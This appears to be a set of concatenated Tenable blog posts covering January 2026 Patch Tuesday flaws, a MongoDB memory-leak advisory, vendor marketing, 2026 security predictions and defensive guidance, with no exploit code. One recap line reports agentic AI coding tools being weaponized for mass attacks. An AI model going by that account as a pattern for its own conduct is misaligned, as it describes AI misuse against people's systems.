CVE-2026-21265 is a security feature bypass in the Windows Secure Boot. It was assigned a CVSSv3 score of 6.4 and is rated important. It was assessed as “Exploitation Less Likely.”

Microsoft certificates are stored in the Unified Extensible Firmware Interface (UEFI) Key Enrollment Key (also known as Key Exchange or KEK) and DB. These certificates are reaching their expiration date, so these certificates need to be updated to ensure Secure Boot functionality remains and to prevent future issues from arising. The following are the certificates set to expire in 2026:

Certificate Authority (CA)Expiration DatePurposeLocationMicrosoft Corporation KEK CA 2011June 24, 2026Signs updates to the DB and DBXKEKMicrosoft Corporation UEFI CA 2011June 27, 2026Signs third party boot loaders, Option ROMs and moreDBMicrosoft Windows Production PCA 2011October 19, 2026Signs the Windows Boot ManagerDB

This vulnerability is considered “Publicly Disclosed” because the information about the expiration and the location of these certificates are public.

CriticalCVE-2026-20952 and CVE-2026-20953 | Microsoft Office Remote Code Execution Vulnerability

CVE-2026-20952 and CVE-2026-20953 are RCE vulnerabilities affecting Microsoft Office. Each of these vulnerabilities were assigned a CVSSv3 score of 8.4, rated as critical and assessed as "Exploitation Less Likely.” An attacker could exploit these flaws through social engineering by sending the malicious Microsoft Office document file to an intended target. Successful exploitation would grant code execution privileges to the attacker.

Despite being flagged as “Exploitation Less Likely,” Microsoft notes that the Preview Pane is an attack vector for both vulnerabilities, which means exploitation does not require the target to open the file.

ImportantCVE-2026-20840 and CVE-2026-20922 | Windows NTFS Remote Code Execution Vulnerability

CVE-2026-20840 and CVE-2026-20922 are RCE vulnerabilities affecting Windows New Technology File System (NTFS). Both were assigned CVSSv3 scores of 7.8 and are rated as important. Microsoft assessed both of these flaws as “Exploitation More Likely.” According to Microsoft, both these flaws stem from heap-based buffer overflows which can be exploited to execute arbitrary code on an affected system. Both advisories also note that any authenticated attacker can exploit these flaws, regardless of privilege level.

Tenable Solutions

A list of all the plugins released for Microsoft’s January 2026 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's January 2026 Security Updates
• Tenable plugins for Microsoft January 2026 Patch Tuesday Security Updates

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

This recognition — based entirely on feedback from the people who use our products every day — to us is a testament to the unmatched value Tenable Cloud Security CNAPP offers organizations worldwide.

Our key takeaways:

1. In our view, this peer recognition confirms Tenable’s strategic value in helping organizations worldwide, across all industry sectors, preemptively close critical security gaps and manage complex multi-cloud risk and compliance.
    
2. Tenable Cloud Security is an essential component of the Tenable One Exposure Management Platform. Tenable One directly addresses the limits of fragmented point solutions by delivering unified visibility, insight, and action across the entire digital attack surface, including cloud, AI, IT, identity, and operational technology (OT).
    
3. Tenable’s CNAPP solution provides risk prioritization and deep visibility in an intuitive, all-in-one solution that streamlines remediation efforts for misconfigurations and vulnerabilities, seamlessly integrating into existing workflows across major global cloud providers, including Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure.

Real reviews from real customers

At Tenable, we’ve always felt fortunate to have such a deep level of trust from our customers. We work hard every day to not just meet your expectations, but to exceed them. That’s why we’re pleased to share that Tenable is named a Customers’ Choice in the 2025 Gartner® Peer Insights™ Voice of the Customer for Cloud-Native Application Protection Platforms.

To us, this recognition is a huge win because it comes straight from the people who use our products day in and day out. We believe It’s a real-world testament to the value we’re providing — helping cybersecurity teams everywhere find and close critical gaps before they ever turn into a problem. Knowing that we’re delivering on what matters most to you tells us we’re on the right track.

Cloud security is a fundamental component of exposure management. In a market saturated with fragmented point solutions, customers value the Tenable One Exposure Management Platform for breaking down security silos and unifying visibility, insight, and action across cloud, AI, IT, identity, operational technology (OT), and beyond. 

In this Voice of the Customer report, Gartner Peer Insights provides a rigorous analysis of 1,664 reviews and ratings of 10 vendors in the CNAPP market. In the 18-month eligibility window ending in October 2025, we received an average of 4.8 out of 5 stars for Tenable Cloud Security based on 71 reviews.

In short: this is a big deal for us. We feel it validates our strategy and reflects the trust our customers place in us every day. 

Access the 2025 Gartner® Peer Insights™ Voice of the Customer for Cloud-Native Application Protection Platforms

According to Gartner, CNAPPs are a unified and tightly integrated set of security and compliance capabilities designed to protect cloud-native infrastructure and applications. CNAPPs incorporate an integrated set of proactive and reactive security capabilities, including artifact scanning, security guardrails, configuration and compliance management, risk detection and prioritization, and behavioral analytics, providing visibility, governance, and control from code creation to production runtime. CNAPPs use a combination of API integrations with leading cloud platform providers, continuous integration/continuous development (CI/CD) pipeline integrations, and agent and agentless workload integration to offer combined development and runtime security coverage.

The “Voice of the Customer” is a document that applies a methodology to aggregated Gartner Peer Insights’ reviews in a market to provide an overall perspective for IT decision makers.

Tenable Cloud Security CNAPP customer reviews

Check out some of the Gartner Peer Insights reviews for yourself:

"Tenable's Effectiveness in Reducing Risks and Showing the Level of Exposure in Real Time."

"Tenable is a leading tool, constantly updated, at the forefront, with an intuitive and easy-to-use interface. What I like about the product is its effectiveness and the prioritized care recommendations to reduce risk exposure; what I like about Tenable is the support, the backing, and the highly knowledgeable people who provide exceptional customer service."

—Chief Information Security Officer, Retail

"Strong Support and Value Throughout Relationship with Tenable Team"

"The Tenable team delivers not just at sale but continues to offer us value and support throughout our relationship. This includes actively listening and working with us on any pain points or future plans. The team listens and works with customers to deliver actual value based on your needs - Best in class vulnerability product that uses that base to deliver an exceptional Cloud Security offering - The Cloud Security product offers value for CISO for reporting and compliance views, remediation steps that assist engineers and a very helpful ‘you only have 5mins, look at this’ widget.”

—CISO, Education Industry

"Data Integration and Targeted Remediation Enhance Cloud Asset Visibility and Security"

"Tenable Cloud Security is extremely easy to set up and use. The UI is intuitive, and you don't have to try to find where things are as the layout is logical and professional. The implementation was a few clicks away and it natively authenticated to our existing Tenable One platform. We are also able to pull in data from the cloud portion into exposure management which makes it easy to see all our assets in one view. I really like the "If you only have 5 mins" and the "Toxic combinations[.] " It makes remediation efforts more focused." —Director, IT Security and Risk Management, Banking Industry

"Tenable Platform Enhances Cloud Security with Deep Visibility and Seamless Integrations"

"Our overall experience with Tenable has been excellent. Their CNAPP and Cloud Security solutions provide deep visibility across our cloud infrastructure environments and integrate smoothly into our existing workflows. The platform's insights and automation have significantly improved how we manage vulnerabilities and compliance. Additionally, Tenable's sales and account management teams have been outstanding: responsive, knowledgeable, and genuinely invested in our success." 

— IT Security & Risk Management Associate, Software Industry

"Tenable Cloud Security Offers Easy Interface and Robust Compliance Features"

“Tenable Cloud Security is a simple all-in-one solution to cohesively bring together your cloud misconfigurations (CIS Benchmarks), known vulnerabilities around cloud objects and integrates with many solutions out there such as RedHat OpenShift, Azure, AWS, etc.”

— IT Security & Risk Management Associate, Healthcare and Biotech Industry

What are the key features of Tenable Cloud Security?

Customers rely on Tenable for a comprehensive, all-in-one solution that seamlessly manages cloud misconfigurations, known vulnerabilities, and risks across the entire cloud environment. Tenable offers deep visibility into cloud infrastructure and workloads, combining vulnerability management and compliance features. 

Tenable Cloud Security provides:

• Exceptional ease of use
• An intuitive interface
• Actionable prioritization
• Focused remediation
• Smooth integration into existing workflows
• Full asset discovery and compliance features for all major cloud providers, including Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure.

Thank you, Tenable Cloud Security customers

We appreciate all our customers for taking the time to share feedback. Your reviews and input help the team at Tenable better understand your unique cloud security needs. We have utmost respect for the trust you place in us and we’re committed to providing you with a comprehensive, easy-to-use, and highly effective cloud security platform to help you secure your most valuable assets and preemptively manage your exposure.

Gartner, Voice of the Customer for Cloud-Native Application Protection Platforms, 24 December 2025, By Peer Community Contributor

Gartner and Peer Insights are trademarks of Gartner, Inc. and/or its affiliates. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Learn more

• View the 2025 Gartner® Peer Insights™ Voice of the Customer for Cloud-Native Application Protection Platforms here

In this special edition, Tenable leaders forecast key 2026 trends, including: AI will make attacks more plentiful and less costly; machine identities will become the top cloud risk; preemptive cloud and exposure management will dethrone runtime detection; and automated remediation gets the go-ahead.

Key takeaways

1. AI will supercharge the speed and volume of traditional cyber attacks rather than creating new vectors, making basic cyber hygiene and proactive prevention the best lines of defense.
2. To combat burnout and inefficient workflows, CISOs will look beyond commercial off-the-shelf solutions and begin building custom in-house AI tools tailored to their organization’s specific needs.
3. Non-human identities (NHIs) will become the primary vector for cloud breaches, necessitating a shift toward strict permissions governance and automatic remediation.

1 - AI won’t spawn new attack vectors in 2026

Is artificial intelligence (AI) about to unleash a wave of never-before-seen cyber attacks? Not quite. While the hype machine might suggest otherwise, the reality for 2026 is grounded in a familiar truth: most bad actors are opportunists looking for low-hanging fruit. They don’t want to reinvent the wheel. Rather, they’re looking for easy wins that yield big gains with minimal effort. 

“AI is not a magic wand; it supercharges traditional attack methods,” Tenable Chief Product Officer Eric Doerr says. “It will drive down the cost of attack generation and increase the volume, and it might even find a new zero day or two, but it’s not finding novel attack techniques.”

In response, cyber teams should double down on foundational cybersecurity practices to combat these high-volume, AI-enhanced threats.
 

Tenable Chief Product Officer Eric Doerr

As Doerr explains: "At the end of the day, cybersecurity is a numbers game and AI broadens attackers’ canvas. Basic cyber hygiene remains the best defense." 

Prediction: In 2026, as attackers increase their use of AI, cyber attacks will grow in number and become less expensive to launch. However, attackers won’t leverage AI to create new attack vectors. 

2 - Automatic remediation will get the green light

For years, the idea of letting a machine automatically fix a security issue has been considered verboten. But in 2026, can we afford to keep "automatic" on the forbidden list? The expanding attack surface and the velocity of threats are forcing a reevaluation of this well-established no-no. 

“Automatic remediation, mobilization, and mitigation are no longer forbidden,” Tenable Chief Security Officer Robert Huber says. 

Embracing automation not just for detection, but for the actual fixing of problems, represents a major cultural change in cybersecurity, moving trust from human hands to automated systems.
 

Tenable Chief Security Officer Robert Huber

“For years, teams have been hesitant to automatically remediate, but I believe that to keep pace with the threat and expansion of the attack surface, teams will start to defy that long-held belief that automatic is forbidden,” he adds.

Prediction: In 2026, teams will rethink the tenet that automatic remediation is too risky to implement, as manual remediation proves unsustainable for most organizations that want to stay ahead of the curve and manage their cyber risk effectively without overwhelming their security pros.

3 - Cloud security focus shifts from runtime detection to prevention-first strategies

Is the industry finally moving past the idea that runtime detection is a silver bullet? We think so. Heading into 2026, security leaders are increasingly recognizing that many cloud breaches begin well before runtime, and will look to build a resilient defense via a broader, preemptive approach. 

“The 2025 hype that runtime detection is the only thing that matters and could replace posture or identity analysis will fade in 2026,” says Liat Hayun, Tenable Senior Vice President of Product Management and Research.
 

Liat Hayun, Tenable Senior Vice President of Product Management and Research

“Runtime-only tools miss most attack paths because identity abuse and misconfigurations occur long before anything reaches runtime. Runtime will remain important, but it won’t replace CNAPP or exposure management – it’ll be another data source inside a broader prevention-first approach,” she adds.

Prediction: The narrative that runtime detection can supersede identity and posture analysis will rapidly lose steam in 2026. Instead, runtime tools will function as a complementary data input, reinforcing a security architecture that is anchored on a CNAPP and an exposure management platform and that preemptively identifies and mitigates risks.

4 - Acceleration becomes the single biggest threat to your organization

Can your security team move faster than a lightning-quick AI-driven attack? In 2026, attack speed will become the greatest challenge for cyber defenders. As attackers leverage automation to compress the attack lifecycle, the window for effective response shrinks. 

“The who, what, how, and why of an attack don’t matter because AI-fueled attacks start and end before a ticket is even created,” Doerr says.
 

That’s why organizations must make it a priority to quickly set up preemptive security programs. Otherwise, they leave themselves exposed to cyber risks that traditional, reactive methods simply can’t mitigate. “Proactive defense makes speed obsolete,” he says.

Prediction: In 2026, AI-fueled acceleration will become adversaries’ primary weapon, rendering reactive security measures ineffective. In response, cyber teams must shift to proactive cyber prevention, which eliminates exposures before they can be exploited, neutralizing the speed advantage that AI provides to cyber criminals.

5 - CISOs will embrace AI security tools built in-house

As we move past the novelty phase of generative AI, 2026 will mark a shift toward the utility of agentic AI, and with it a growing appreciation for custom-made AI security tools tailored for an organization’s specific needs.

Complementing off-the-shelf AI products with tools built in-house will allow for more precise, effective security workflows and processes that can lessen the burden on overworked cyber pros.
 

“When implemented and designed with care, custom-made AI tools will transform security operations and alleviate pain points that lead to burnout,” Huber says.

Prediction: In 2026, rather than relying solely on commercial AI security tools, CISOs will direct their teams to build their own AI wares tailored to their organization's unique challenges. These customized AI tools will, in turn, sharpen their cybersecurity programs and lighten the workload on their staff.

6 - Non-human identities will become the top cloud breach vector

Machine identities now outnumber human users by many orders of magnitude. This explosion of non-human identities (NHIs) is creating a massive, stealthy attack surface. In 2026, these billions of service accounts, keys, and tokens are set to become the primary vector for cloud breaches.

“The core problem is no longer misconfigs or missing patches. It’ll be billions of unseen, over-permissioned machine identities that attackers – or autonomous agentic AI – will leverage for silent, undetectable lateral movement,” Hayun says.
 

“CISOs will be forced to pivot massive spending toward permissions governance and large-scale cleanup as machine-identity sprawl has rendered cloud environments truly unmanageable,” she adds.

Prediction: NHIs will decisively become the number one cloud breach vector in 2026, a trend driven by myriad machine identities with excessive privileges. As a result, CISOs will need to prioritize getting this vast landscape of machine identities under control by strengthening identity and access management (IAM) governance and execution.

A recently disclosed vulnerability affecting MongoDB instances has been reportedly exploited in the wild. Exploit code has been released for this flaw dubbed MongoBleed.

Key takeaways:

1. MongoBleed is a memory leak vulnerability affecting multiple versions of MongoDB.
    
2. Exploitation of MongoDB has been observed and exploit code is publicly available .
    
3. Immediate patching is recommended as the combination of public exploit code and a high number of potentially affected internet connected instances make this a flaw attackers will be targeting.

Background

On December 19, MongoDB issued a security advisory to address a vulnerability affecting the zlib implementation of MongoDB.

CVEDescriptionCVSSv3VPRCVE-2025-14847MongoDB Uninitialized Memory Leak Vulnerability (“MongoBleed”)7.58.0

*Please note: Tenable’s Vulnerability Priority Rating (VPR) scores are calculated nightly. This blog post was published on December 29 and reflects VPR at that time.

Analysis

CVE-2025-14847 is a memory leak vulnerability affecting MongoDB instances in which zlib compression is enabled. A flaw in how MongoDB implements zlib decompression could allow unauthenticated attackers to leak uninitialized memory, which can contain sensitive data including credentials, session tokens and API keys. This flaw was dubbed “MongoBleed” by Elastic Security researcher Joe Desimone, who published a proof-of-concept demonstrating the vulnerability. While exploitation does require zlib compression to be enabled and a vulnerable MongoDB version to be internet exposed, reports of in the wild exploitation have already begun.

According to Censys, there are over 87,000 potentially vulnerable instances of MongoDB that have been identified, with the largest concentration being found in the United States.

Source: Censys

Proof of concept

On December 25, a public proof-of-concept (PoC) was released on GitHub. This PoC demonstrates how data can be leaked from uninitialized memory. According to the PoC details, the following data could be leaked:

• MongoDB internal logs and state
• WiredTiger storage engine configuration
• System /proc data (meminfo, network stats)
• Docker container paths
• Connection UUIDs and client IPs

Solution

MongoDB has released patches to address this vulnerability as outlined in the table below:

Affected VersionFixed VersionMongoDB Server v3.6 (All Versions)Upgrade to MongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30 or laterMongoDB Server v4.0 (All Versions)Upgrade to MongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30 or laterMongoDB Server v4.2 (All Versions)Upgrade to MongoDB 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30 or laterMongoDB 4.4.0 through 4.4.29Upgrade to MongoDB 4.4.30 or laterMongoDB 5.0.0 through 5.0.31Upgrade to MongoDB 5.0.32 or laterMongoDB 6.0.0 through 6.0.26Upgrade to MongoDB 6.0.27 or laterMongoDB 7.0.0 through 7.0.26Upgrade to MongoDB 7.0.28 or laterMongoDB 8.0.0 through 8.0.16Upgrade to MongoDB 8.0.17 or laterMongoDB 8.2.0 through 8.2.2Upgrade to MongoDB 8.2.3 or later

According to the MongoDB security advisory, if immediate patching is not able to be performed, the workaround suggestion is to disable zlib compression. In addition, we recommend that you limit network access to MongoDB instances to trusted IP addresses only. While this step was not outlined in the advisory, it has been recommended as a security best practice by MongoDB.

Identifying affected systems

A list of Tenable plugins for this vulnerability can be found on the individual CVE page for CVE-2025-14847 as they’re released. This link will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Tenable Attack Surface Management customers are able to identify assets running MongoDB services by using the filter 'Services contains mongod' as shown in the screenshot below:

 Get more information

• MongoDB Security Advisory
• Censys: MongoBleed - Critical MongoDB Uninitialized Memory Disclosure Vulnerability [CVE-2025-14847]

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

In this special year-end edition, we revisit critical advice from our cybersecurity experts on AI, exposure management, cloud, vulnerability management, OT, and critical infrastructure.

Key takeaways

1. Combating AI threats: Counter autonomous agentic AI attacks and shadow usage by enforcing strict governance and elevating basic cyber hygiene to prevent massive-scale breaches.
2. Adopting exposure management: Align security with business objectives by adopting a unified exposure management program to preemptively prioritize and remediate the most critical threats first.
3. Securing cloud and critical infrastructure: Reduce attack surfaces by rigorously managing identities to stop "permission creep," implementing just-in-time (JIT) access, and maintaining precise asset inventories.

In case you missed it, we’re recapping standout guidance from Tenable experts to help you with agentic AI attacks, overprivileged identities, risk-based metrics, OT inventories, vulnerability prioritization, and geopolitical threats.

1 - Defending against agentic AI and managing shadow AI risks

The emergence of agentic AI tools that act autonomously has shifted the threat landscape. Here is how Tenable experts addressed security and governance in this new era.

In "Agentic AI Security: Keep Your Cyber Hygiene Failures from Becoming a Global Breach," Tenable Chief Security Officer Robert Huber warns that the weaponization of legitimate agentic AI coding tools, such as Anthropic's Claude Code, "proves that neglecting fundamental cyber hygiene allows malicious AI to execute massive-scale attacks with unprecedented speed and low skill."

The good news is that even AI-powered attacks can’t succeed if you’ve closed your most critical exposures, impeding lateral movement and privilege escalation. “Elevating the standard of basic security hygiene is essential for our collective defense,” he wrote.

Blake Kizer recommends in "A Practical Defense Against AI-led Attacks" a unified, preemptive and predictive exposure management program rooted in security fundamentals. By defining the new AI attack surface and fighting AI with AI, “the winner will be the team that builds the best partnership between human intuition and algorithmic speed,” writes Kizer, a Staff Information Security Engineer at Tenable.

Meanwhile, in "FAQ About Model Context Protocol (MCP) and Integrating with AI for Agentic Applications," Chad Streck notes that while MCP standardizes connecting data to large language models (LLMs), it raises security concerns developers must address.

How MCP Works

(Source: Tenable, April 2025)

Streck, a Staff Research Engineer at Tenable, recommends:

• Detecting and inventorying your MCP installations and configurations
• Controlling access and monitoring the resources MCP servers tap
• Training staff on secure MCP usage

Meanwhile, in "Security for AI: How Shadow AI, Platform Risks, and Data Leakage Leave Your Organization Exposed," Damien Lim, a Senior Product Marketing Manager at Tenable, tackles the dangers of employees’ AI usage: shadow AI; the risks from approved AI tools; and the potential exposure of sensitive information. 

To mitigate the risk of employees exposing sensitive data, Lim advises benchmarking your organization against best practices outlined in "Security for AI: A Practical Guide to Enforcing Your AI Acceptable Use Policy," including:

• List approved and prohibited tools.
• Create data privacy and security guidelines.
• Categorize AI use into Permitted, Prohibited, and Controlled.

2 - Tackling cloud permission creep and exposed secrets

Is your cloud environment suffering from excessive access rights? Tenable experts emphasize rigorous hygiene and identity governance.

In "Don’t Let Your Cloud Security Catch a Bad Case of Permission Creep," Thomas Nuth warns that over-privileged identities create attacker pathways. 
 

Nuth, Head of Cloud Product Marketing at Tenable, suggests automating least privilege enforcement via a CNAPP integrated with an exposure management platform that combines:

• Identity discovery
• Contextual risk correlation and prioritization
• Automated detection and remediation of excessive permissions

One effective method to combat overprivileged identities is via just-in-time (JIT) access. Xavier Allan, Senior Cloud Security Engineer at Tenable, explores this strategy in "How To Implement Just-In-Time Access: Best Practices and Lessons Learned." Allan notes that with JIT, "privileges are granted temporarily on an as-needed basis," which reduces static entitlements and lowers the risk of compromised accounts.

Based on Tenable’s internal JIT adoption, Allan offers tips including:

• Communicate continuously during the transition.
• Help teams feel comfortable with the JIT process before and during the migration.
• Educate teams on JIT capabilities to drive adoption.

However, identity is only part of the equation; digital debris also poses a significant risk. In "How To Clean Up Your Cloud Environment Using Tenable Cloud Security," Stephanie Dunn, Staff Cloud Security Engineer at Tenable, points out that old and unused cloud resources create risks.

To clean up your cloud environment, Dunn recommends determining:

• The age of your resources
• Active and inactive cloud accounts
• Users’ cloud account access
• Public-facing cloud resources
• Resources types and accessed data 

Finally, Ryan Bragg addresses the hidden dangers of credentials in "Secrets at Risk: How Misconfigurations and Mistakes Expose Critical Credentials." Bragg writes that "poor secrets management" undermines security by exposing API keys, tokens, access keys and even login credentials.

Bragg, a Senior Cloud Security Solutions Engineer at Tenable, offers best practices to protect secrets, including:

• Map where secrets reside and implement controls.
• Avoid using long-term credentials, such as passwords and keys.
• Implement lifecycle policies to regularly rotate secrets.
• Don’t hardcode secrets in bootstrap scripts, environment variables, and tags.

3 - Shifting to exposure management

One thing is clear: Exposure management is the key for successfully protecting your organization against today’s relentless and evolving cyber threats. By going beyond traditional vulnerability management, a true exposure management platform like Tenable One helps you preemptively pinpoint, prioritize and close your most critical exposures while shrinking your hybrid attack surface.

As an exposure management pioneer and leader, Tenable is at the forefront of this approach to cybersecurity. Through our Exposure Management Academy, we constantly share practical guidance, case studies and peer insights to help you on your exposure management journey.
 

In a two-part series, Tenable CSO Robert Huber outlines his own team's evolution. In "How Tenable Moved From Siloed Security to Exposure Management," Huber explains the move away from fragmented security practices. He follows up in "How Exposure Management Has Helped Tenable Reduce Risk and Align with the Business" by detailing how this shift helps reduce risk and better align with the business.

“Our goal is to uplevel all our conversations to align with the business, demonstrating the impact of security on revenue, services and overall business objectives,” Huber writes. “More than a mere buzzword, exposure management is a necessary evolution of how organizations approach cybersecurity.”

Understanding peer perspectives is also crucial. In "How Top CISOs Approach Exposure Management in the Context of Managing Cyber Risk," Huber cites reports from the new Exposure Management Leadership Council, a CISO working group sponsored by Tenable.
 

“Council members see the potential for exposure management to help them create a standardized, repeatable and defensible process for measuring and reporting on risk,” Huber writes.

Budgeting for this transition is another common hurdle. Discussing a study conducted by Enterprise Strategy Group in partnership with Tenable, Hadar Landau, a Product Marketing Manager at Tenable, notes in "How to Future-Proof Your Cybersecurity Spend" that "complexity is driving a growing number of organizations to increase their exposure management budgets."

Landau outlines five keys to future-proof your exposure management spend:

• A unified platform for ecosystem-wide data ingestion
• Visibility into AI system usage
• Automated prioritization of high impact risks
• Identification of toxic risk combinations
• Maximizing the value of existing security investments 

In "How to Use Risk-Based Metrics in an Exposure Management Program," Tenable Information Security Engineers Arnie Cabral and Jason Schavel say metrics are fundamental to each stage of the exposure management lifecycle.

Specifically, they say that risk-based metrics provide:

• The context to understand scan tools’ raw data
• An objective basis for exposure prioritization
• Validation on success and risk reduction
• Clear reporting to mobilize teams and secure resources

4 - Enhancing OT security with identity and inventory

Can you secure your critical infrastructure against sophisticated threats without grinding operations to a halt? As Tenable experts explain, securing operational technology (OT) without disrupting production requires preemptive remediation and identity security.

In "How to Remediate Risk to Critical OT/IoT Systems without Disrupting Operations," Meir Asiskovich, Tenable’s Senior Director of Product Management for Tenable OT Security, argues that adopting a proactive approach allows teams to "reduce risk and eliminate downtime" simultaneously. You also need an exposure management program.

“By unifying data from IT, OT, IoT, cloud and identities, we’re able to deliver a seamless workflow, complete asset inventory and context-aware prioritization that legacy OT security tools and point solutions can’t match,” Meir writes.

In "Identity Security Is the Missing Link To Combatting Advanced OT Threats," Chris Baker, OT Security Sales Manager at Tenable, warns that attackers use living-off-the-land (LotL) techniques that "exploit identity vulnerabilities to infiltrate critical infrastructure." Integrating identity security with unified exposure management is essential to detect these subtle intrusions.

He outlines key aspects of an effective OT security program, including:

• Understanding your assets
• Monitoring for anomalies
• Limiting privilege escalation
• Hardening Active Directory
• Identifying attack paths

In "How to Apply CISA’s OT Inventory and Taxonomy Guidance for Owners and Operators Using Tenable," we break down federal recommendations, underscoring how a detailed asset inventory and taxonomy are "not only the foundation of a defensible security posture, they’re also essential for resilient operations."

CISA offers a systematic process to develop and maintain a record of your organization’s OT assets, as illustrated below.
 

Source: U.S. Cybersecurity and Infrastructure Security Agency (CISA), Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators, August 2025

5 - Improving vulnerability management with better visibility, prioritization and automation

In 2025, as the speed of vulnerability exploitation grew, Tenable looked at the critical stages of the vulnerability lifecycle, from closing disclosure gaps to automating remediation.

In "Why Early Visibility Matters: Risk Lurks in the Vulnerability Disclosure Gaps," Lucas Tamagna-Darr highlights the importance of having timely information about vulnerabilities and the risk they present.

“Because Tenable drives its coverage directly from vendor advisories, a majority of our coverage is available within 12-24 hours of the initial disclosure of a vulnerability,” writes Tamagna-Darr, Senior Director of Engineering and Research Solutions Architect at Tenable.

Damien McParland discusses the evolution of prioritization in "Narrowing the Focus: Enhancements to Tenable VPR and How It Compares to Other Prioritization Models." McParland explains how updates to Tenable’s Vulnerability Priority Rating (VPR), including enriched threat intelligence, AI-driven insights and explainability, and contextual metadata, have further boosted VPR’s prioritization efficiency.
 

The VPR enhancements make it “twice as efficient as the original version at identifying CVEs that are currently being exploited in the wild or are likely to be exploited in the near term,” writes McParland, Staff Data Scientist at Tenable,

Finally, effective prioritization must lead to rapid action. Allison Eguchi addresses the challenges of remediation in "Stop Patching Panic: Ditch Slow Manual Patching and Embrace Intelligent Automation." Eguchi, a Tenable Product Marketing Manager, warns that "manual patching leaves your organization exposed" and highlights how Tenable Patch Management offers customizable rules and guardrails to automate updates without causing business disruption.

6 - Managing geopolitical cyber risks and federal cloud modernization

Does it feel like your organization’s threat landscape shifts every time a new headline breaks on the world stage? It’s a topic Tenable experts have unpacked, looking at how global instability and federal modernization mandates are reshaping the responsibilities of security leaders.

James Hayes addresses the fatigue many defenders are experiencing in "Geopolitics Just Cranked Up Your Threat Model, Again. Here’s What Cyber Pros Need to Know." Hayes, Senior Vice President of Global Government Affairs at Tenable, writes: "If it feels like your entire cybersecurity program is once again operating on a geopolitical fault line, you're not imagining things."

His recommendations for cybersecurity teams include:

• Build geopolitical risk into your threat models.
• Pressure-test your supply chain visibility.
• Track policy shifts like you would threat intel.
• Advocate for the resources you need.
• Routinely assess your posture management.
• Take a proactive stance.

In "Navigating a Heightened Cyber Threat Landscape: Military Conflict Increases Attack Risks," Tenable CSO Robert Huber argues that the "current geopolitical climate demands a proactive, comprehensive approach to cybersecurity" rather than a reactive stance.

To strengthen your cyber defenses in this heightened threat environment, Huber’s recommendations include:

• Use strong passwords and enforce a strong password policy
• Change default passwords, especially on OT hardware
• Scan for and patch vulnerabilities in assets exposed to the internet
• Enable multi-factor authentication (MFA)
• Identify and prioritize your most valuable assets for remediation
• Develop a remediation plan and continue to test and improve it

Meanwhile, the federal government faces its own specific hurdles when adopting cloud computing. In "Securing Federal Cloud Environments: Overcoming 5 Key Challenges with Tenable," Huber explains how Tenable Cloud Security helps federal agencies overcome these obstacles:

• Limited visibility across complex cloud environments
• Identity and access complexity
• Operational complexity and tool sprawl
• Rapidly evolving threats and new attack vectors
• Misconfigurations and compliance gaps

Prioritizing what to fix first and why that really matters

Key takeaways

1. The 97% distraction: Discover why the vast majority of your "Critical" alerts are just theoretical noise, and how focusing strictly on the 3% of findings that represent real, exploitable risk can drastically improve your security posture.
2. Identity is the accelerant: Breaches rarely happen in isolation. Learn how "toxic combinations" — the critical intersection of vulnerability, misconfiguration, and privileged identity – can turn individual flaws into major attack paths that lead to breaches, and why traditional risk scoring misses them entirely.
3. Context is the cure: Stop drowning in volume and start leveraging value. See how shifting from conventional scanning to exposure management allows you to escape "alert fatigue" in the cloud and fix attack paths without touching code, while remediating issues at the source.

The fundamental promise of the cloud is speed and scale. Yet, for security teams, that scale has become the primary adversary. We are currently operating in a cloud security paradox: Organizations have deployed more scanning tools than ever before, yet they have never had less clarity on their actual risk posture.

The industry standard has been to rely on volume as a metric of success. How many issues did we discover? How many did we patch? But in a modern cloud environment, volume is not a metric; it is a liability. When security teams are flooded with thousands of "Critical" alerts based on theoretical severity, they are forced into a reactive posture. Vulnerability teams are all too familiar with this scenario. 

The data reveals a stark inefficiency: While legacy tools flag nearly 60% of vulnerabilities as 'High' or 'Critical,' Tenable Research shows that only about 1.6% to 3% represent real, exploitable business risk. This forces teams to spend the vast majority of their time chasing noise rather than risk.

To mature your cloud security program, you must stop prioritizing based on severity and start prioritizing based on exploitability. It is time to transition from vulnerability management to exposure management.

The operational cost of theoretical risk

The Common Vulnerability Scoring System (CVSS) has been the default standard for prioritization. However, CVSS lacks the necessary business context to be effective in all domains, particularly the cloud. CVSS measures the severity of a software bug in a vacuum. It does not account for the context of the asset. Is it public? Is it privileged? Is it accessing sensitive data?

If your team is working down a list sorted solely by CVSS, they are wasting valuable cycle time on theoretical flaws while genuine attack paths remain open. The goal is not to fix more; the goal is to fix what matters. As the saying goes: “When everything is important, nothing is important.”

Toxic combinations: Defining true risk

In modern security, essentially every breach is an identity breach. While a misconfiguration or a vulnerability might provide the initial foothold, it is the identity, and specifically its entitlements and privileges, that allows a security incident to go from "bad" to "worse."

Breaches rarely happen in isolation. They occur at the precise intersection of public exposure, vulnerability, and privileged identity. This convergence, the toxic combination, creates the perfect storm for attackers.

Correlating these factors is notoriously difficult because the data often lives in silos: vulnerability data in one tool, IAM data in another, and network exposure in a third. The demand on security teams today is to bridge these gaps, turning raw data into context, into clear insight, into action.

True risk is defined by the convergence of these three factors, which attackers relish:

• Public exposure: The asset is accessible from the internet.
• Critical vulnerability: The software contains a known, exploitable flaw.
• High privilege or entitlement: The associated identity has broad permissions (e.g., Admin or Root).

